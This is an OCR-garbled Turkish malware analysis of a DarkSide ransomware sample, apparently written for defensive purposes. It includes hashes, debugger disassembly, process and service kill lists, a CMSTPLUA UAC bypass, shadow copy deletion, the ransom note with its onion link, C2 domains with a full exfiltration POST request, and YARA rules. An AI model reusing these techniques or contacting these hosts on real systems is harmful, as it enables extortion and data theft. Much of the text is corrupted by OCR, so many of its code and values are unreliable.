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Giris

Rusya merkezli Darkside fidye yazilimi grubu, Agustos 2020'de bir "basin agiklamasi"
araciligiyla RaaS'lerini (Hizmet olarak Fidye Yazilimi) duyurdu. O zamandan beri profesyonel
operasyonlari ve bliyik miktarda fidyelerle taninir hale geldiler. Magdurlara web sitesi
uzerinden destek saglarlar ve saldiridan dnce magdurlarin finansal analizini yaparlar.

Saldir bicimleri, kurbanlarinin altyapisi, glivenlik teknolojileri ve zayif yonleri hakkinda derin
bir bilgi birikimine sahip olmalari sebebi ile grubun eski BT glivenlik uzmanlarindan olustugu
gorisl yaygindir.

Ayrica hastanelere, okullara, kar amaci giitmeyen kuruluslara ve hikiimetlere degil, fidye
odeyebilecek blylk kuruluslara saldirmayi tercih ettiklerini acikca belirttiler.

Zararh yazilim bulastig bilgisayarlarda;

-Bilgisayar hakkinda bilgi toplama ve depolama

-Fidye isteme

-C2 sunuculari ile iletisime gegme

-UAC bypass gibi zafiyetleri kullanarak yetki ylkseltme

-Karalistede bulunan processleri, dosyalari, uzantilari silmekte veya sifrelemektedir.

Ayrica ilk olarak Windows isletim sistemini hedef alsalar da. Darkside’in Linux versiyonuna da
rastlanmistir.
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On inceleme

incelenen versiyondaki DarkSide Ransomware zararlisi, phishing yéntemleri ile genellikle
e-mail Gzerinden yayilmayl amaclamistir. Orijinal ismi bilinmediginden dolayi daha rahat
analiz etmek icin “darkside” ismi verilmistir.

Dosya Adi | darkside.exe
Dosya Turl | Portable Executable 32 (x86)
MD5 3f2cb535fc5bc296aa5b0d2897¢265d0
SHA1 €30358563fa940eb5cd6064d4d16defee43b0310

SHA256

f3f25af554bedfadee2824bb858280282bd87828d446048619dc49fe061741b4
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darkside.exe Analizi

ilk olarak Ransomware, calistigi sistemin hangi dili kullandigini kontrol etmektedir.

56 push esi
57 push edi
8045 F8 lea eax,dword ptr ss:[Jebp-&j

s push eax eax: 419"
FF15 ECO&4200 call dword ptr ds:[<&ZwiueryInstallUILanguagesx]
mov esi,dword ptr :Bebp-2i
1ea eax,dword ptr : febp-5]
50 push eax eax: 419"
FF15 EB0&4200 call dword ptr ds:[<&ZwlQueryDefaultUILanguage=]

SETD FE mov adi,dword ptr ssilebp-2]
EE 01000000 mov ebx,1
C1E3Z OA

shil e?x!l

1049 parametresi (419 Hexadecimal) evrensel dil kodlarinda Rusca’ ya karsilik gelmektedir.
Eger sistemin dili Rusca ise ransomware hicbir islem yapmadan kendini kapatmaktadir.

Dinamik olarak yiklenen DLL'ler:

ntdll.dll kernel32.dll advapi32.dll user32.dll
gdi32.dll ole32.dll oleaut32.dll shell32.dll
shwlapi.dll wininet.dll netapi32.dll wtsapi32.dll
activeds.dll userenv.dll mpr.dll rstrtmgr.dll
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Dil kontroliinden sonra “Global\\18fd644b755ebf281e35dfdc79¢95d5d” adli Mutex’in olup
olmadigina bakmaktadir.

4 4E

E8 519CFFFF
E945 F4
FF75 F4

&A 00

&8 00001000

{

8345 FC
837D FC 00
~ 74 0D
FFT5 FC

oo

FF15 80074200

FF15 FCO0&4200
EE

]2 garkKs10e. 4UA343

call darkside.403F51
mov dword ptr ss:|febp-Cll, eax

push dword ptr

mov dword ptr
cmp dword ptr

ss:[ebp—cj

1]
call dword ptr ds:[<20penMutexus=]
s=:|flebp-4ff, eax

= d ss:|lebp-4f,0

je darkside. 404329

push dword ptr ss:[febp-4

mmvs acn ake

call dword ptr ds:[<&ZwClosex]

[ebp-C]:L"

slobaly 18T d6e44b755ebT281e35dfdc7acasdsd™

[ebp-C]:L"Global%\18Td644b755ebf2581e35dfdc73c95d5d”

Eger boyle bir Mutex yok ise olusturmaktadir. Varsa zararl yazihm kendini kapatmaktadir.
Boylece birden fazla DarkSide Ransomware'in calismasini engellemektedir.

Ransomware tarafindan kapatilan processler:

sqloracle ocssd dbsnmp synctime agntsvc isglplussvc
xfssvccon mydesktopservice | ocautoupds encsvc firefox tbirdconfig
mydesktopqos ocomm dbeng50 | sgbcoreservice excel infopath
msaccess mspub onenote outlook powerpnt steam
thebat thunderbird visio winword wordpad notepad
x32dbg x64dbg ida
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Ransomware tarafindan kapatilan servisler:

VSS sql svC
memtas mepocs sophos
veeam backup GxVss
GxBlIr GxFWD GxCVD
GxClMgr
Ransomware tarafindan sifrelenmeyecek klasorler:
recycle bin config msi windows
appdata application data boot
google mozilla program files (x86) program data
t I . .
SYS . .ume tor browser windows old intel
information
msocache perflogs public all users
default
Ransomware tarafindan sifrelenmeyen dosyalar:
autorun run inf boot
ini bootfont bin bootsect
bak desktop ini iconcache
db ntdlIr ntuser dat
log thumbs

4
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Ransomware tarafindan sifrelenmeyen uzantilar:

386 adv ani bat bin
cab cmd com cpl cur
deskthemepack diagcab diagcfg diagpgk dll
drv exe hlp icl icns
ico ics idx |df Ink
mod mpa msc msp msstyles
msu nls nomedia ocx prf
psl rom rtp scr shs
spl Ssys theme themepack WpX
lock key hta msi pdb

Ransomware tarafindan kapatilmasi engellenmis processler:

vmcompute vms vmwp
svchost TeamViewer explorer

Ransomware, sifreleme yaptigi sistemlere bir etiket niteliginde olan 8 haneli kod
olusturmaktadir.

|0 7 S0 push eax
. BD45 FB lea eax,dword ptr ss:[[ebp-:j
. 50 push eax
. &6A 00 push 0
. 57 push edi edi:L"Machinecuid"
. FF75 FC push dword ptr ss:[[ebp-20
—_— FF1S F4074200 call dword ptr ds:[<&ReglueryvValusExw=]
. 85CO test eax,eax
r--—-# « 75 16 jne darkside.401ECZ2
i * FF75 F4 push dword ptr ss:|[[ebp-CJ)
! . 8D&5 7OFFFFFF lea eax,dword ptr ss:|Jebp-30]
! . 50 push eax
! . FF75 08 push dword ptr ss:|[[ebp+s]
! . FF15 54064200 call dword ptr ds:[<&memcpy>]
1 . 83C4 0OC add esp,C
Lo-oe 57 push edi edi:L"MachineGuid™”
L 8A 00 push o
. FF3E RANZ4100 nush dword ntr d<:T4103RA1T

Bu 8 haneli kodu olusturmak igin, her Windows isletim sisteminin sahip oldugu ve benzersiz
olan MachineGuid kimligini kullanmaktadir. MachineGuid degerini bir takim 6zel
algoritmalardan gecirerek “ca291fe8” halini almaktadir.

Olusan bu etiket, zararli yazilim tarafindan ransomware notunda, masaltisti arka planinda,
sifrelenen dosyalarin uzantilarinda, C2 sunuculari ile baglanti kurarken vb. yerlerde

kullaniimaktadir.
i
|




WMI sorgularindan faydalanarak sistemde Shadow Copy dosyalari mevcut olup olmadigini
kontrol etmektedir.

6A 00 push 0
6A 30 push 30
FF75 F4 push dword ptr ss:[lebp-Cj) "SELECT * FROM win32_shadowCopy™
FF75 F& push dword ptr ss:[flebp-3j WL
FF75 ES push dword ptr ss:|[febp-13]
FF52 50 call dword ptr ds:[edx+50]
85C0 test eax,eax
~ 74 05 je darkside. 404715
~ E9 E3000000 imp darkside.4047F8

Eger Shadow Copy dosyalari mevcut ise akabinde silmektedir.

Ransomware kullanicinin 554 (220 hexadecimal) grubunda olup olmadigina bakmaktadir.

SE pop ebx ebx:&L"C:\\Usershhzorr
BBES mov esp,abp

5D pop ebp

C2 0400 ret 4

&8 20020000 push 220

64 00 push 0

FF15 COO084200 call dword ptr ds:[<&SHTestTokenMembership>]

3 ret

3 push ebp

BREC mov ebp,esp

B81EC 40010000 sub esp,140

53 push ebx ebx:&L"C:\\Usershihzorr
=% § push ecx

52 push edx

S& push esi

= e

554 ise Admin kullanicilari grubuna denk gelmektedir.

Eger kullanici Admin grubuna degil ise, CMSTPLUA COM interface'i ile UAC bypass yontemi
kullanarak Admin yetkilerine sahip olmaktadir.

co scrorrer QLE ual A IUC. UILC
BEDS mov ebx,eax eax:L"Elevation:Administrator !new: {3ESFC7F9-9A51-4367-9063-A120244FBECT}"
FF75 08 push dword ptr ss:|[[ebp+s] _
53 push ebx
BD45 DC lea eax,dword ptr ss:[[ebp-24]
50 push eax eax:L"Elevation:Administrator Inew: {3ESFCFF9-9A51-4367-9063-A120244FBECT}"
BD85 D4FDFFFF lea eax,dword ptr ss:|[febp-22C]
push eax eax:L"Elevation:Administrator !new: {3ESFC7F9-9A51-4367-9063-A120244FBECT}"
FF15 AQ084200 €all dword ptr ds:[<&CoGetObject>]
53 push ebx
6A 00 push 0
FF35 B6034100 push dword ptr ds:[4103B6]
FF15 50064200 €al1 dword ptr ds:[<&Rt1FreeHeap>]
pop edi
SE pop esi esi:L"elevation:Administrator !new: ™
SA pop edx
59 pop ecx
SB pop ebx
BBES mov esp,ebp
pop
C2 0400 ret
55 push ebp
BBEC mov ebp,esp
B3C4 FE add esp,FFFFFFFE
C745 F8 00000000 mov dword ptr ss:llebp-sl.0




B
i

Admin yetkilerini ele geciren ransomware, kendini yeniden baslatmaktadir.

4|5 explorer.exe

(577 winteclservice.exe

m wintoolstd.exe

%8 ProcessHacker.exe
4 |24 jusched.exe

| £ jucheck.exe

Aubd
2956
2964
1876
3068
1440

uaL

013
0,66

1,22 kB/s

34,08 MB
1,39 ME
1278 MB
14,25 MB
5,08 ME
4,95 MB

WIN-LLELMSYPEUZOrTC
WIN-L1KDNTIPE0zorr
WIN-L1KDMNTIP&0 M\ zorre
WIN-LIKDMT9PE0 N\ zorre
WIN-L1KDNTIPE0zorr
WIN-L1KDMNTIP&0 M\ zorre

Winaows LEzgIn

VMware SVGA Helper Service
VMware Tools Core Service
Process Hacker

Java Update Scheduler

lava Update Checker

[ darkside.exe

2296

10,73 247 MB/s

293 MB

Service Control Manager ile baglanti kurmaktadir. Sonra da “ca291fe8” adli servisi agmaya
¢alismaktadir. Fakat boyle bir servis bulunmadigi icin hata ile karsilagsmaktadir.

68 3F000F00

FF15 F8074200
8945 FC

837D FC 00

74 23

68 FFO10F00
FF75 08

FF75 FC

FF15 00084200
8945 F8

837D F8 00

v 74 09

push 0

call dword ptr ds: [<copenSCManagerw>]

mov dword ptr ss:
cmp dword ptr ss:
je darkside. 402998
push FO1FF
push dword ptr
push dword ptr
€an dword ptr

je darkside. 4029'93

ebp-4§, eax
ebp-4]%,0

ebp S . eax
ebp-8§,0

ot oW

: [<&Openservicew>]

"ca291fe8" adli servisin bulunmadigini anladiginda, bu servisi olusturmaktadir. Daha

sonrasinda ise kendini servis olarak baslatmaktadir.

&4 03
&4 10
68 FFO10F00
FF75 08
FF75 08
FF75 FC
FF15
8345 F8
837D
v 74 0D
&4 00
&4 00
FF75 F8
FF15 14084200
837D F8 00
w 74 09

push 2

push 10

push FO1FF

push dword ptr =
push dword ptr
push dword ptr =
call dword ptr d
mov dword ptr ss:
cmp dword ptr ss:

push 0O
push 0O
push dword ptr ss
€all dword ptr ds
cmp dword ptr ss:

s:|[febp+sj

ebp+5l
febp-4]
f=bp-5l, eax
ebp-s,0

je darkside. 4023928

:[febp-5|

[<&CreateServicenw=]

: [<&StartServicen=]

febp-sll,0

ie darkside. 402937

".cazgifes”
*.caz91fes”

[ebp+8]:
[ebp+8]:L




Ransomware, isletim sistemi, mimarisi, kullanici adi, dili gibi verileri toplamaktadir.

warw u Lip uwun u g csamiup oo
w74 4C je darkside. 409128

FF75 E4 push dword ptr ss:|ebp-iCl) [ebp-1C]:L"e7 7daGalnzeaa4fchG 1"

FF75 FC push dword Bebp-4] L

FF75 EO push dword Bebp-20f

FF75 E8 push dword Bebp-15)

FF75 EC push dword L=bp-14]

FF75 F4 push dword Bebp-Cj}

FF75 F8 push dword [ebp-sl)

FF75 FO push dword llebp-10f L ] ]

FF75 DC push dword [ehp-:4] [ebp-24]: L™\ "os\": {\riny " Tangy " %8sy " A rinhy "usernamel, ™ : 4 "%s\ ", \r\n\ "hosthame—

FF75 D3 push dword ptr ss:|ebp-28j

FF15 88064200 €dall dword ptr (I; [(&swphntﬁ-]

83C4 23 add esp,28

Elde ettigi bu verileri JSON olarak kaydedip sifreleyerek C2 sunucusuna aktarmak lizere
bekletmektedir.

0O053B468 | FE 0D OA 22|62 6F 74 22|3A TE 0D 0A
005 3B478| 22 3A 22 32|2E 31 2E 32|2E 33 22 2C ! a1
005 3E488| 69 64 22 3A|22 30 36 30|37 62 38 33|38 32 34 37 Td"' DED b53824'
Q05 3B498 |32 36 33 34(22 OD 0A 7D|2C OD OA 22|6F 73 22 3A|2634"..7%1,.."os":
O053B4AB| 7B OD 0A ZZ2|(6C 61 6E &7 |22 JA 22 T4|72 2D 54 52| {.."lang":"tr-TR
OOS3B4B8| 22 2C 0D 0OA|22 75 73 B5|72 6E &1 6D |65 22 3A 22|",.."username":"
DOS3B4C8|7A 6F 72 72(6F 22 2C OD|QA 22 &8 EF |73 74 &6E &1|zorro",.."hostna
O053B4D8| 60 65 22 3A(2Z 57 43 4E|2D 4C 31 4E|44 4E 37 39| me":"WIN-L1KDN7S
D05 3B4ES |50 38 30 4A(22 2C 0D 0A|22 64 &F 6D |61 &9 &E 22| PB0I™, 'dnna1n

005 3B4F8| 3A 22 57 4F |52 4B 47 52|4F 55 50 22 |2C 0D 0A 22 '"hﬂRKGRGUP you

005 3B508 | 6F 73 SF 74|79 70O 65 22|3A 22 77 69|gE g4 6F 77| 0s type""w1ndnw
O053B518| 7 22 2C OD|0OA 22 &6F F3|5F 76 65 72|73 69 &F &E|s", "os_wversion
0053B528| 22 3A 22 57|69 6E 64 6F|FF 73 20 37|20 50 72 &F "'"W1nduw 7 Pro
DOG3BL38| 66 65 73 73|69 6F GE B1|6C 22 2C 0D |0A 22 &6F 73| fessional™,.."os
O053B548|5F 61 72 63|68 22 3A 22|78 36 34 22 |2C 0D 04 22 arch":"xﬁ4",.."
O053B558| 64 63 73 GB(73 2Z 3A 22|43 3A 33 33|2F 35 39 2Z|disks":"C:33/59"

O053B568| 2C 0D OA 22|69 64 22 3A|22 65 37 23|64 61 36 61 "d"'"e‘BdaEa
0O053B578| 31 38 323 39|61 65 24 66|63 62 26 327|321 22 0D 0A 1539&E4fcb6 i
ODS2B588| 7D 0D 0A 7D |0C OC OC OC|0OC OC OC OC|0C OC OC OC|F..Fevvecerrnnnn

Ransomware, Geri Donlisim Kutusunun igcindeki tiim dosyalari silmektedir.

. FESS FU pusn owora pTr 55:geop-1uUg LEDP-10]: L L\ IKRECYC I8, BTN\ b-1-5-21~22
. 6A 0O push 0
. FF35 B&034100 push dword ptr ds:[4103B&]
. FF15 50064200 €all dword ptr ds:[<&8Rt1FreeHeap>]
. C745 FO 00000000 mov dword ptr ss:Bebp-10fl,0 [ebp-10]:L"C: \\$Recycle.Biny45-1-5-21-2¢
. ~ EB 21 jmp darkside. 4 8C
. FF75 FO push dword ptr ss:|febp-10] [ebp-10]:L"C: %\ 3Recycle. Biny\5-1-5-21-2
. FF15 74074200 call dword ptr ds:[<aDeleterilews]
. FF75 FO push dword ptr ss:|febp-10] [ebp-10]:L"C: Y\ $Recycle.Biny45-1-5-21-2}
. 6A 0O push 0
. FF35 B&034100 push dword ptr : [4103B6]
. FF15 50064200 €all dword ptr ds:[<&8Rt1FreeHeap>]
™ C745 FO 00000000 mov dword ptr ss:Bebp-10fl,0 [ebp-10]:L"C: \\$Recycle.Biny45-1-5-21-2¢
. 8D85 AOFDFFFF lea eax,dword ptr ss:|[ebp-ze&0{
. 50 push eax
. FF75 FC push dword ptr ss:[[ebp-4]
. FF15 10074200 €all dword ptr ds: [<&FindNextFilew:]
. 85C0 test eax,eax
. ~ OFBS FAFEFFFF jne darkside.40439E
. FF75 FC push dword ptr ss:|lebp-40
. FF15 14074200 €all dword ptr ds:[<&FindClosex]
. 837D F4 00 cmp dword ptr ss:|febp-CJJ,0 [ebp-C]l:L"C:%\\$Recycle.Bin\\5-1-5-21-29¢
r———- v 74 11 je darkside. 4044C4
i . FF75 F4 push dword ptr ss:[[ebp-C[J [ebp-C]:L"C:\\$Recycle.Bin\}\5-1-5-21-29
[ - RA 0N nush 0
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Ransomware olusturdugu BMP uzantili resim dosyasini, Kayit Defteri’ni kullanarak Denetim
Masasl Uzerinden Masalstl arka planini degistirmektedir. Ayrica ICO uzantili icon dosyasi
olusturarak sifreledigi dosyalarin iconunu degistirmektedir.

8DOC4D 02000000

51
FF75 CC
64 01
&4 0O
FF75 EO
FF75 F8
FF15 FOO74200
85C0
~ 74 02
~ EB 4B
8DBD G&OFFFFFF

lea ecx,dword ptr ds:[ecx=2+2]

push ecx

push dword ptr ss:|[Jebp-z4] [ebp-34]:L"C:“\\ProgramData‘\’caz91fes. EMP"
push 1

push o

push dword ptr ss:[Jebp-z0f [ebp-20]:L"wal1Paper

push dword ptr ss:[ebp-3]

call dword ptr ds:[<&RegSetvValueExw=]
test eax,eax

je darkside.403B0A

jmp darkside.403BE55

Tea edi,dword ptr ss:[febp-ac]

Degistirilen ayarlarin uygulanmasi igin gegerli oturuma ait kullanicinin ayarlarini

glncellemektedir.

BECO
~ 74 02
~ EB OF
6A 03
FF75 CC
6A 00
6A 14
FF15 43084200
B27D DC 0O

test eax,eax
je darkside.403B46
jmp darkside.403B5S

push 2

push dword ptr ss:|[Jebp-24] [ebp-24]:L"C:\"ProgramData\‘ca29ifes. BMP"
push 0

push 14

call dword ptr ds:[<&SystemParametersInfouws=]

cmp dword ptr ss:|febp-24§,0 [ebp-24]:L"wallpaperstyle"

je darkside.403B6C

push dword ptr ss:[Jebp-24] [ebp-24]:L"wallpaperstyle"

push 0

push dword ptr ds:[4103E6]

Ransomware calistigl sistemin uyku moduna girmesini ve ekranin kapatilmasini
engellemektedir. Bu sayede sifreleme durumunda olasi hatalarin 6niine gegmeyi

hedeflemektedir.

- 534 K4 dauu eEsp, FEFFFFFE +
. C745 FC 00000000 mov dword ptr ss:|[lebp-40,0
. BD4S F8 Tea eax,dword ptr ss:|[ebp-:]
] 50 push eax
- &8 01000080 push 20000001
— FF15 AB064200 call dword ptr ds: [<&ZwSetThreadExecutionsStatex]
. 1 ES 9682FFFF call darkside.40223C
» | DD403FAE 803D 85034100 00 cmp byte ptr ds:[410385],0
---@ AD v 74 21 je darkside. 409FDO
. 6A 00 push 0
] 6A DO push 0
. 6A 0O push 0

y



Ransomware, sifrelemeye baslamadan 6nce sistem (izerinde hangi tiir disklerin oldugunu
kontrol etmektedir. Eger disk tlirti ¢cikarilabilir, sabit ve network ise sifreleme islemine devam

B
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etmektedir.

56 push esi
FF15 &CO74200 €all dword ptr ds:[<&GetDriveTypew:]
83F8 03 cmp eax,3

v 74 DE je darkside. 407AF0
83F8 02 cmp 2ax, 2

v 74 09 je darkside.407AFO
83F8 04 cmp eax, 4

« 0OFB5 AFO000000 jne darkside. 407B9F
FF75 F4 push dword ptr ss:|ebp-Cj
FF75 EC push dword ptr ss:|[ebp-14]
FF?75 FC push dword ptr ss:[ebp-4]
c& sk ac-d

“Local\\jobO-(ProcessID)” adli bir file mapping, mutex ve event objesi olusturmaktadir.

PUSm
push 4
push O

push FFFFFFFF

mov ebx,eax

test ebx,ebx

jne darkside. 40717E
jmp darkside. 4074A3
push 5000

push 0

call dword ptr ds:[<&CreateFileMappingw=]

ebx:L"Localy\#s",
ebx:L"Local\\¥s™

eax:L"Localyjobo-892"

Daha sonra ise ransomware kendini baska bir process olusturarak “-path dizin” parametresi
ile yeniden baslatmaktadir.
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2 adet Thread olusturmaktadir. Sifreleme islemlerini bu Threadler yapmaktadir.

- &8 FCSE4000 push darkside.405E7C

] &4 00 push 0

- 64 00 push 0O

® ([0 5 FF15 20074200 call dword ptr ds: [<&CreateThread:=]
® [00406F44 AR stosd

® [0 - FF45 FC inc dword ptr ssifebp-4]

] &4 00 push 0

- 64 00 push 0O

. &A 00 push 0

] 68 FCSE4000 push darkside. 405E7C

- 64 00 push 0

. 84 00 push 0

] FF15 20074200 call dword ptr ds:[<&CreateThreads]
- AE stosd

- I FF4E FiC inr _dwnrd otr s=:Bahn-4F

Olusturulan Threadlere sifrelenecek dosyalarin génderilmesi icin 1/0O completion port
olusturulmaktadir.

MUY UL U LD S T T S

Tea eax,dword ptr ds:[ebx=2] eax:L"Local™jobo-592"
push eax eax:L"Localy’jobo-892"
push 0O

push 0O

push FEFEFFFFF

call dword ptr ds:[<&CreateloCompletionPort=]

mov dword ptr ds:[420818],=2ax eax:L"Local™’jobo-892"
cmp dword ptr ds:[420818],0

je darkside. 406FEF

Tea edi,dword ptr ss:[[ebp-10&8]
push 0O

nush 0

Sifreleme isleminde RSA-1024 ve Salsa20 matrixi beraber kullaniimaktadir.

RSA anahtari, darkside.exe’nin 4590’inci ofsetinde bulunmaktadir.

y
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Her sifrelenen dizine ransomware notu eklemektedir. Ransomware notu ise asagidaki gibidir;

What happend?

Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot

decrypt your data.

But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore

all your network.

Follow our instructions below and you will recover all your data.

Data leak

First of all we have downloaded more then 500GB data from your network.

How to get access on website?

Using a TOR browser:

1) Download and install TOR browser from this site: https://torproject.org/

2) Open our website:
http://dark24zz36xm4y2phwe7yvnkkkkhxionhfrwp67awpb3r3bdcneivoqd.onion/W57MRI9C7YZJUZEABBBYRQLSUTG22)

Z9MAHOWT1ISHC405KP7Z2UWY3AI3J68DNM

When you open our website, put the following data in the input form:

Key:

ug8lgpX3WrFzlEJ6HBWIwJInf7jemhfnixBw9porjluuYFTgKbxJQJLYiteQS7DwgZn7dHOfs7gPPWmZ6inPv5GTMSJZNAjGLVIjd4
SoiyTdGyophf0zPBxx6UEAOQJXMOWo004ZGeKVoUDHtZsqgZNnhMF7aPh54VnKplJXiZDbZZw4P06xTuw1lUMeiTE7wdg7HWZM
epAVTzEI2WO04RbkPFQHfUgEDCcsIDxbr83BvopYTYGKFRMtNUMH80s0ZQrOtv50xWDaOfbaxbzfHMIm30QGaGpgylJHQZssc
z3XBnwldviwBJ9KN4DVgFgziRdvwIrfCP6YN1CYTOQgw1rzgmlU4G1xGYv7rE3jiBY1s4D3Y26SbppTceAVMulmKx5CFIE3Ebtc
AsNtEqLHDbPNnMCvUBApwp17TXGob8xXJpEDBZhIzdTaCuybcprwcFNTOzccjblH81W39Mrcli9mNO3kHRe5fxmIFKvcOv8aQ
DihGyC65DtdabyBjidXIINyNONTA4PTyrxYqgffPsNDFuzz2yMrXiTAwWtAQPqny5BBJQsfVhpLXTtnLvWg1

1l DANGER !!!

DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them.




Network Analizi

Ransomware C2 sunucusuna baglanmak icin 6zel bir user-agent belirlemektedir.

6A 00
FF35 B6024100
FF15 48064200

push 0
push dword ptr d
€& dword ptr d

4103286]
<&rRt1Allog

8EDS mov ebx,eax ebx:L"Mozill ne4; X64; Gecko,/20100101 Firefox/80.0
85DE test ebx,ebx ebx:L"Mozill ne4; x64; ) Gecko,/20100101 Firefox,/s0.0
= v 74 10 je darkside.401E16
8E4E FC mov ecx,dword ptr ds:[esi-4]
8ED1 mov edx,ecx
8EFB mov edi,ebx ebx Mozi11a/5.0 (Windows NT 6.1; Wine4; x&64; rvi79.0) Gecko/20100101 Firefox/80.0
F3:A4 rep movsb
52 push edx
push ebx ebx:L"Mozi11a/5.0 (windows NT &.1; wWine4; X&4; rv:79.0) Gecko/20100101 Firefox,/80.0

€all darkside.40B000

"Mozil1a/5.0 (Windows NT &.1; Wine4; X64; rvi79.0

=
=1

Gecko,/20100101 Firefox/80.

L
ssssssssssss

8BC3 mov eax,ebx
S5F pop edi
SE pop esi
A pop edx
59 pop ecx
SB pop ebx
5D pop ebp

Gecko,/20100101 Firefox,/80.0

ebx:L"Mozi11a/5.0 (Windows NT 6.1; Wing4; x64; rv:79.0)

baroquetees[.Jcom adli adrese 433 portundan baglanmaktadir.

&4 00 push 0

&8 BEOL100O0O push 1EE

56 push esi esi:L"baroquetesas. com"
FF75 FC push dword ptr ss:|[febp-4]

FF15 F3084200 call dword ptr ds:[<&InternetConnectw:>]

8945 F5 mov dword ptr ss:[febp-3],eax

837D F8 00 cmp dword ptr ss:febp-3],0

75 24 jne darkside.409353

4 push esi esi:L"baroguetees. com"
FF15 &50&4200 call dword ptr ds: [<&wcslenx]

53C4 04 add esp,4

Request’i POST olacak sekilde ayarladiktan sonra galistigl sistem lzerinden elde ettigi verileri

gondermektedir.
. BD45 AZ lea eax,dword ptr ss:[Jebp-seEl}
. {u push eax eax:L"POST"
. 8D45 D2 lea eax,dword ptr ss:|Jebp-z£[])
. 4o push eax eax:L"POST"
. FF75 F& push dword ptr ss:[Jebp-3]
—_—s FF15 0OC094200 call dword ptr ds:[<&HttpOpenRequestw>]
. 5345 F4 mov dword ptr ss:[febp-CJJ,eax
. 837D F4 00 cmp dword ptr ss:[febp-CJ,0




74'

Request’in tam hali ise bu sekildedir:

[ebp-10]:L"\rYynAccept: =/*\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate, brhZrnContent-Type: text/plain”
[ebp-18]: "3babcdd3=ITKsINENOd1Z g7 7ZZKHUXIMTquIL /Z 6MWCY SGO00wdIg0IvLKSKr HHE7 t00SGIMHL T SwSxV4r rUK,/PNhGdOUZDgIHI X7 52800T1 ThkfwdS+:
[ebp-10]:L"YrYnAccept: =/*\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate, brr“nContent-Type: text/plain”

SpRCcCEcCcEcnMES S

POST /ddDysYaDB HTTP/1.1
HOST: baroquetees[.]Jcom

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101
Firefox/80.0

Accept: /

Accept-Encoding: gzip, deflate
Content-Type: text/plain
Connection: keep-alive

3babcdd3=11KsJN8NO0d1zg77ZZKHux1MIquoL/z6 MWcysGoO0wdJgOIvLKSkrHHE7tO0
SGIMH1I8wSxV4rrUK/PNhGdOuZDgJHiX7s280hTiTkfwdS+15HL2vAy/DALSotO0wW2F
61Suk2awvYJHY Qdbgg6jXS/O1Er/sPQXHem/TRB1xzA72qs/ggtkKKUBpsPTgIbGKVXo
rFWxZI5KT8C2yHB/x/p0x7YkMIriuKebGB6vpEZz6+owJcKtLgAf6aT1IMONeOWL1INX
0jrIGheu9mPDUVLOBrManHxoCIFCUmMtkGnQGp88iHG1ogmnyMZok3wavAVOWOH
PRito6bIWISI0betGILOR2VVOSrS3eBvVRB00/GdyCKO6ZMIosCICieu7Wwui/Gt2cnA
DUyLNWn+QfINUb/ly==&0c9f2ce3=0607b8382472634

Daha sonra ise sunucudan gelen durum koduna bakmaktadir. Ransomware 200 kodunun
aksine 500 kodunu beklemektedir. Eger durum kodu 500 degil ise tiim bu network islemlerini
ikinci C2 sunucusu olan rumahsia[.]Jcom ile tekrar denemektedir.

Ayrica tim sifreleme islemleri bittikten sonra ransomware, C2 sunucusuna tim islemlerin
bittigini, ne kadar dosya sifrelendigini ve toplam sifrelenen dosya boyutunu aktarmaktadir.
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CozUm Onerileri

-Glncel ve glvenilir bir anti virts yazilimi kullanilmasi.

-Gelen maillere dikkat edilmesi, glivenilir olmayan kaynaklardan gelen mail ve eklerin
bilingsizce agilmamasi.

-Spam maillerin dikkate alinmamasi.
-Isletim sisteminin giincel tutulmasi.
-Orijinal ve Legal uygulamalarin kullaniimasi.

- Kimlik avi saldirilarina karsi bilgilenilmesi.

MITRE ATT&CK Tablosu

Defense Evasion Discovery Impact
T1112 T1012 T1491
T1082
T1120
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import "hash"

Yara Kurallari

rule Darkside_Ransomware
{
meta:
author = "Halil Filik - ZAYOTEM"
description = "Darkside Ransomware icin analiz edilen sample’a ait Yara Kurali"
strings:
Sfuncl = {FF 15 6C 07 42 00}
Sparam1 = {68 BB 01 00 00}
Sparam2 = {68 20 02 00 00}
Sparam3 = {68 01 00 00 80}
Sparam4 = {68 00 00 10 00}
Sparam5 = {68 A4 04 2B 1E}
Sparam6= {68 5E 04 98 3B}
Sparam7 = {68 88 05 8B 28}
Sparam8 = {68 3F 00 OF 00}

Skey_buffer = {89 54 OE OC 89 44 OE 08 89 5C OE 04 89 3C OE 81 EA 10 10 10 10 2D 10
10101081 EB 1010101081 EF 10 10 10 10 83 E9 10 79 D5}

Srsa_key = {8B 06 8B 5E 04 8B 4E 08 8B 56 0C 11 07 11 5F 04 11 4F 08 11 57 0C}
condition:

hash.md5(0,filesize) == "3f2cb535fc5bc296aa5b0d2897c265d0" or all of them
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rule Darkside_Ransomware_Genel

{

1010101081 EB 1010101081 EF 10 10 10 10 83 E9 10 79 D5}

meta:

author = "Halil Filik - ZAYOTEM"

description = "Darkside Ransomware igin genel bir Yara Kurali "
strings:

Skey_buffer = {89 54 OE OC 89 44 OE 08 89 5C OE 04 89 3C OE 81 EA 10 10 10 10 2D

Srsa_key = {8B 06 8B 5E 04 8B 4E 08 8B 56 0C 11 07 11 5F 04 11 4F 08 11 57 0C}
condition:

all of them

Halil Filik

https://www.linkedin.com/in/halilfilik/

y


https://www.linkedin.com/in/halilfilik/

